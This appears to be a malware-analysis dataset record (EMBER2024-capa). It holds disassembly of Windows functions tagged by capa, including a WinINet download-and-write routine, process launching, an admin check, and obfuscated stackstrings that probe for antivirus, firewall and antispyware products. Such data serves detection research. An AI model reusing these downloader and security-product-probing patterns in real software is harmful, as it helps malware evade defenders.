joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405dcb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405e3c
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405e2b
cmp dword [ebp + 0x14], 1
je 0x405e2d
cmp dword [ebp + 0x14], 2
je 0x405e2d
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x4062a3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
push 0x44
pop esi
xor ebx, ebx
push esi
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x14]
push ebx
push eax
mov dword [ebp - 0x58], esi
call sub.MSVCRT.dll_memset
push 0x20a
lea eax, [ebp - 0x264]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
lea eax, [ebp - 0x264]
push 0x40f418
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x264]
push eax
call esi
lea eax, [ebp - 0x264]
push 0x40f400
push eax
call esi
cmp dword [ebp + 0x10], ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
je 0x406356
lea eax, [ebp + 8]
mov dword [ebp + 8], ebx
push eax
push dword [ebp + 0x10]
call edi
inc eax
push eax
push dword [ebp + 0x10]
call fcn.00407e73
add esp, 0xc
cmp dword [ebp + 8], ebx
je 0x406356
push dword [ebp + 8]
lea eax, [ebp - 0x264]
push eax
call esi
push dword [ebp + 8]
call sub.MSVCRT.dll_free
pop ecx
lea eax, [ebp - 0x264]
push 0x40f3fc
push eax
call esi
cmp dword [ebp + 0xc], ebx
je 0x40639c
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], ebx
push eax
push dword [ebp + 0xc]
call edi
inc eax
push eax
push dword [ebp + 0xc]
call fcn.00407e73
add esp, 0xc
cmp dword [ebp + 0x10], ebx
je 0x40639c
push dword [ebp + 0x10]
lea eax, [ebp - 0x264]
push eax
call esi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_free
pop ecx
lea eax, [ebp - 0x264]
push str.172800
push eax
call esi
cmp dword [ebp + 0x14], ebx
je 0x4063e2
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], ebx
push eax
push dword [ebp + 0x14]
call edi
inc eax
push eax
push dword [ebp + 0x14]
call fcn.00407e73
add esp, 0xc
cmp dword [ebp + 0x10], ebx
je 0x4063e2
push dword [ebp + 0x10]
lea eax, [ebp - 0x264]
push eax
call esi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_free
pop ecx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x264]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406414
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
jmp 0x406433
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
xor ecx, ecx
cmp eax, 0xc1
setne cl
dec ecx
and ecx, 5
add ecx, 3
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4071d7
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
call fcn.004066f4
test eax, eax
je 0x407233
mov esi, str.608E797EBE2955F63E92C5398CCA1C7A
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor edi, edi
cmp ax, di
je 0x4071fd
push eax
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push esi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
cmp ebx, edi
je 0x407233
push edi
push edi
push edi
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
jne 0x407237
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x407272
push dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.ContinueUninstallEvent
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
cmp ebx, edi
je 0x40726f
push dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
ret
Function at 0x407514
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
lea eax, [ebp - 8]
push edi
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.Software_fcn
push 0x80000001
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40757b
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
push ebx
push ebx
push ebx
push str.cnid
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407569
mov dword [ebp - 4], 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], ebx
jne 0x40765f
push 0x105
lea eax, [ebp - 0x114]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
add esp, 0xc
lea eax, [ebp - 0x114]
push 0x104
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push 0x40f028
push eax
call esi
lea eax, [ebp - 0x114]
push str.nvs2.inf
push eax
call esi
push ebx
push 0x80
push 3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 1
lea eax, [ebp - 0x114]
push 0x80000000
push eax
call ebx
cmp eax, 0xffffffff
je 0x4075f3
mov dword [ebp - 4], 1
jmp 0x407658
push 0x105
lea eax, [ebp - 0x114]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x114]
push 0x104
push eax
call edi
lea eax, [ebp - 0x114]
push 0x40f028
push eax
call esi
lea eax, [ebp - 0x114]
push str.msegcompid.dll
push eax
call esi
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp - 0x114]
pop esi
push esi
push 0x80000000
push eax
call ebx
cmp eax, 0xffffffff
je 0x40765f
mov dword [ebp - 4], esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407934
Capabilities:
Check http status code
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8054
call fcn.0040ce40
push ebx
push esi
push edi
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea eax, [ebp - 0x54]
push 0x41
push eax
call fcn.00408097
pop ecx
lea eax, [ebp - 0x54]
pop ecx
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, edi
mov dword [ebp - 0x10], ebx
jne 0x407989
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x407985
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
push 1
jmp 0x4079ba
push edi
push 0x100
push edi
push edi
push dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, edi
mov dword [ebp - 8], eax
jne 0x4079c0
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x4079b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 6
pop eax
jmp 0x407af8
lea ecx, [ebp - 0xc]
push edi
push ecx
lea ecx, [ebp - 4]
push ecx
push 0x20000013
push eax
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
mov eax, dword [ebp + 0x14]
jne 0x407a03
cmp eax, edi
je 0x4079ec
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x4079fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
push 5
pop edi
jmp 0x407ae6
mov ecx, dword [ebp - 4]
cmp eax, edi
je 0x407a0c
mov dword [eax], ecx
cmp ecx, 0xc8
je 0x407a18
push 7
jmp 0x4079fd
mov esi, 0x8000
lea eax, [ebp - 0x8054]
push esi
push edi
push eax
mov dword [ebp + 0x18], edi
mov dword [ebp + 8], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x8054]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x407ada
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x18]
cmp eax, edi
jbe 0x407a9b
cmp ebx, edi
je 0x407a98
mov ecx, dword [ebp + 8]
add ecx, eax
push ecx
push dword [ebx]
call sub.MSVCRT.dll_realloc
push dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
mov dword [ebx], eax
add eax, ecx
push edi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x18]
lea eax, [ebp - 0x8054]
push eax
mov eax, dword [ebx]
add eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 0x18]
add esp, 0x20
add dword [ebp + 8], eax
push edi
push 0x64
push edi
call fcn.00407fe5
add esp, 0xc
cmp dword [ebp + 0x18], edi
je 0x407ada
push esi
lea eax, [ebp - 0x8054]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x8054]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x407a54
mov eax, dword [ebp + 0x10]
cmp eax, edi
je 0x407ae6
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
push dword [ebp - 0x10]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 8]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407afd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
je 0x407bce
mov eax, dword [ebp + 0x14]
cmp eax, edi
je 0x407bce
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x407bce
push esi
mov dword [eax], edi
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov dword [esi], edi
push dword [ebp + 8]
call fcn.00407934
add esp, 0x14
cmp eax, edi
mov dword [ebx], eax
jne 0x407bb3
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x407b7d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
jmp 0x407bb3
lea eax, [ebp - 0x10]
push edi
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x407b9d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
jmp 0x407bae
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or ebx, 0xffffffff
mov dword [ebp - 0xc], 1
cmp ebx, 0xffffffff
jne 0x407bbb
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], edi
je 0x407bc9
push dword [ebp - 4]
call sub.MSVCRT.dll_free
pop ecx
mov eax, dword [ebp - 0xc]
jmp 0x407bd0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407bd5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d4d0
push 0x40ce80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xdc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0xb0]
push eax
call fcn.00407f0a
pop ecx
test eax, eax
jne 0x407c2a
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.AllocateAndInitializeSid
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0xc8], eax
push str.OpenProcessToken
push edi
call esi
mov dword [ebp - 0xbc], eax
push str.GetTokenInformation
push edi
call esi
mov dword [ebp - 0xc4], eax
push str.EqualSid
push edi
call esi
mov dword [ebp - 0xb8], eax
push str.FreeSid
push edi
call esi
mov dword [ebp - 0xc0], eax
push str.CheckTokenMembership
push edi
call esi
mov esi, eax
cmp edi, ebx
je 0x407c18
cmp dword [ebp - 0xc8], ebx
je 0x407c18
cmp dword [ebp - 0xbc], ebx
je 0x407c18
cmp dword [ebp - 0xc4], ebx
je 0x407c18
cmp dword [ebp - 0xb8], ebx
je 0x407c18
cmp dword [ebp - 0xc0], ebx
je 0x407c18
cmp esi, ebx
je 0x407c18
mov dword [ebp - 0xdc], ebx
mov byte [ebp - 0xe8], bl
mov byte [ebp - 0xe7], bl
mov byte [ebp - 0xe6], bl
mov byte [ebp - 0xe5], bl
mov byte [ebp - 0xe4], bl
mov byte [ebp - 0xe3], 5
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xd0], 0x400
mov dword [ebp - 4], ebx
lea eax, [ebp - 0xdc]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xe8]
push eax
call dword [ebp - 0xc8]
test eax, eax
je 0x407e1d
cmp dword [ebp - 0xac], 4
jne 0x407e10
lea eax, [ebp - 0xd4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0xbc]
test eax, eax
je 0x407e1d
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0xe0], ebx
je 0x407d89
push dword [ebp - 0xe0]
call sub.MSVCRT.dll_free
pop ecx
push dword [ebp - 0xd0]
call sub.MSVCRT.dll_malloc
pop ecx
mov dword [ebp - 0xe0], eax
cmp eax, ebx
je 0x407e1d
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0xd0]
push eax
push dword [ebp - 0xd0]
push dword [ebp - 0xe0]
push 2
push dword [ebp - 0xd4]
call dword [ebp - 0xc4]
test eax, eax
jne 0x407dd2
call esi
cmp eax, 0x7a
jne 0x407e1d
mov edi, dword [ebp - 0xe0]
mov dword [ebp - 0xd8], edi
call esi
test eax, eax
jne 0x407d75
xor esi, esi
mov dword [ebp - 0xec], esi
cmp esi, dword [edi]
jae 0x407e1d
push dword [edi + esi*8 + 4]
push dword [ebp - 0xdc]
call dword [ebp - 0xb8]
test eax, eax
je 0x407e0d
mov dword [ebp - 0x1c], 1
jmp 0x407e1d
inc esi
jmp 0x407de6
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0xdc]
push ebx
call esi
or dword [ebp - 4], 0xffffffff
call fcn.00407e2d
jmp 0x407c18
Function at 0x407fe5
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x24
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 4], eax
xor eax, eax
cmp dword [esp + 0x28], eax
mov dword [esp], eax
je 0x408006
mov dword [esp], 1
push ebx
push ebp
push esi
mov ebp, 0x1ff
push edi
push ebp
push dword [esp + 0x40]
mov edi, dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push eax
push dword [esp + 0x44]
push dword [esp + 0x20]
call edi
mov esi, eax
mov ebx, 0x102
cmp esi, ebx
je 0x40808d
xor eax, eax
push 1
push eax
push eax
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x40805e
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x408030
cmp dword [esp + 0x40], 1
jne 0x40808d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x14]
cmp eax, dword [esp + 0x3c]
jae 0x40808d
mov ecx, dword [esp + 0x3c]
push ebp
sub ecx, eax
push ecx
push 0
push dword [esp + 0x44]
push dword [esp + 0x20]
call edi
mov esi, eax
jmp 0x40802c
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret

Function at 0x408097
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0x408194
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x408194
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows
push dword [ebp + 8]
call esi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call edi
sub ebx, eax
test ebx, ebx
jle 0x40818d
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp - 0x94], 2
jne 0x40812e
push dword [ebp - 0x9c]
lea eax, [ebp - 0x10]
push dword [ebp - 0xa0]
push str._NT__d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x40816e
cmp dword [ebp - 0xa0], 4
jne 0x40816e
cmp dword [ebp - 0x9c], 0
jne 0x408148
push ebx
push 0x40f88c
jmp 0x408168
cmp dword [ebp - 0x9c], 0xa
jne 0x408159
push ebx
push 0x40f888
jmp 0x408168
cmp dword [ebp - 0x9c], 0x5a
jne 0x40816e
push ebx
push 0x40f884
lea eax, [ebp - 0x10]
push eax
call esi
lea eax, [ebp - 0x10]
push 0x40f880
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp + 8]
call edi
add eax, dword [ebp + 8]
push eax
call esi
push dword [ebp + 8]
call edi
jmp 0x408196
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4090d7
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1058
call fcn.0040ce40
push ebx
push esi
lea eax, [ebp + 8]
push edi
push eax
xor ebx, ebx
push 0x2001f
push ebx
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4091f6
mov esi, 0x825
lea eax, [ebp - 0x830]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x824
push eax
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4091ed
cmp dword [ebp - 4], 1
jne 0x4091ed
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x830]
push eax
call edi
test eax, eax
je 0x4091ed
push esi
lea eax, [ebp - 0x1058]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x830]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x3f
push eax
call sub.MSVCRT.dll_strrchr
neg eax
sbb eax, eax
pop ecx
and al, 0xe7
pop ecx
add eax, 0x3f
push eax
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0x1058]
push str._s_csb_dsh_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x1058]
push eax
call edi
inc eax
push eax
lea eax, [ebp - 0x1058]
push eax
push 1
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp esi, ebx
sete al
jmp 0x4091f8
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4091fd
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1058
call fcn.0040ce40
push ebx
push esi
lea eax, [ebp + 8]
push edi
push eax
xor ebx, ebx
push 0x2001f
push ebx
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40931c
mov esi, 0x825
lea eax, [ebp - 0x830]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x824
push eax
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x409313
cmp dword [ebp - 4], 1
jne 0x409313
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x830]
push eax
call edi
test eax, eax
je 0x409313
push esi
lea eax, [ebp - 0x1058]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x830]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x3f
push eax
call sub.MSVCRT.dll_strrchr
neg eax
sbb eax, eax
pop ecx
and al, 0xe7
pop ecx
add eax, 0x3f
push eax
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0x1058]
push str._s_citype_dres_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x1058]
push eax
call edi
inc eax
push eax
lea eax, [ebp - 0x1058]
push eax
push 1
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp esi, ebx
sete al
jmp 0x40931e
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409323
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [ebp + 8]
test eax, eax
je 0x409393
cmp dword [eax + 8], 0x70b
jne 0x409393
cmp dword [eax + 0xc], 0x201
jne 0x409393
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x18]
push edi
mov dword [ebp - 8], ecx
lea edi, [ebp - 0x40c]
sub ecx, edx
mov dword [ebp - 4], edi
cmp ecx, 0x400
mov dword [ebp - 0xc], edx
pop edi
jae 0x409393
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x44b
push dword [eax]
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x409393
push 1
push 0
push 0
push dword [ebp - 4]
push 0x40f264
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
leave
ret
Function at 0x40a0a7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push dword [ebp + 0xc]
lea eax, [ebp - 0x34]
and byte [ebp - 4], 0
and word [ebp - 0x14], 0
push 0x409e30
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x6e
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x5f
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x76
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x73
mov word [ebp - 0x34], 0x41
mov word [ebp - 0x32], 0x6e
mov word [ebp - 0x30], 0x74
mov word [ebp - 0x2e], 0x69
mov word [ebp - 0x2c], 0x56
mov word [ebp - 0x2a], 0x69
mov word [ebp - 0x28], 0x72
mov word [ebp - 0x26], 0x75
mov word [ebp - 0x24], 0x73
mov word [ebp - 0x22], 0x50
mov word [ebp - 0x20], 0x72
mov word [ebp - 0x1e], 0x6f
mov word [ebp - 0x1c], 0x64
mov word [ebp - 0x1a], 0x75
mov word [ebp - 0x18], 0x63
mov word [ebp - 0x16], 0x74
call fcn.0040a7d3
add esp, 0x14
leave
ret

Function at 0x40a3da
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
and byte [ebp - 1], 0
and word [ebp - 0xe], 0
push 0x40a163
push eax
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x6e
push eax
mov byte [ebp - 0xb], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xa], 0x5f
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x77
mov byte [ebp - 4], 0x61
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
mov word [ebp - 0x2c], 0x46
mov word [ebp - 0x2a], 0x69
mov word [ebp - 0x28], 0x72
mov word [ebp - 0x26], 0x65
mov word [ebp - 0x24], 0x77
mov word [ebp - 0x22], 0x61
mov word [ebp - 0x20], 0x6c
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x50
mov word [ebp - 0x1a], 0x72
mov word [ebp - 0x18], 0x6f
mov word [ebp - 0x16], 0x64
mov word [ebp - 0x14], 0x75
mov word [ebp - 0x12], 0x63
mov word [ebp - 0x10], 0x74
call fcn.0040a7d3
add esp, 0x14
leave
ret
Function at 0x40a703
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push dword [ebp + 0xc]
lea eax, [ebp - 0x38]
and byte [ebp - 2], 0
and word [ebp - 0x14], 0
push 0x40a48c
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x6e
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x5f
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x70
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x77
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x72
mov byte [ebp - 3], 0x65
mov word [ebp - 0x38], 0x41
mov word [ebp - 0x36], 0x6e
mov word [ebp - 0x34], 0x74
mov word [ebp - 0x32], 0x69
mov word [ebp - 0x30], 0x53
mov word [ebp - 0x2e], 0x70
mov word [ebp - 0x2c], 0x79
mov word [ebp - 0x2a], 0x77
mov word [ebp - 0x28], 0x61
mov word [ebp - 0x26], 0x72
mov word [ebp - 0x24], 0x65
mov word [ebp - 0x22], 0x50
mov word [ebp - 0x20], 0x72
mov word [ebp - 0x1e], 0x6f
mov word [ebp - 0x1c], 0x64
mov word [ebp - 0x1a], 0x75
mov word [ebp - 0x18], 0x63
mov word [ebp - 0x16], 0x74
call fcn.0040a7d3
add esp, 0x14
leave
ret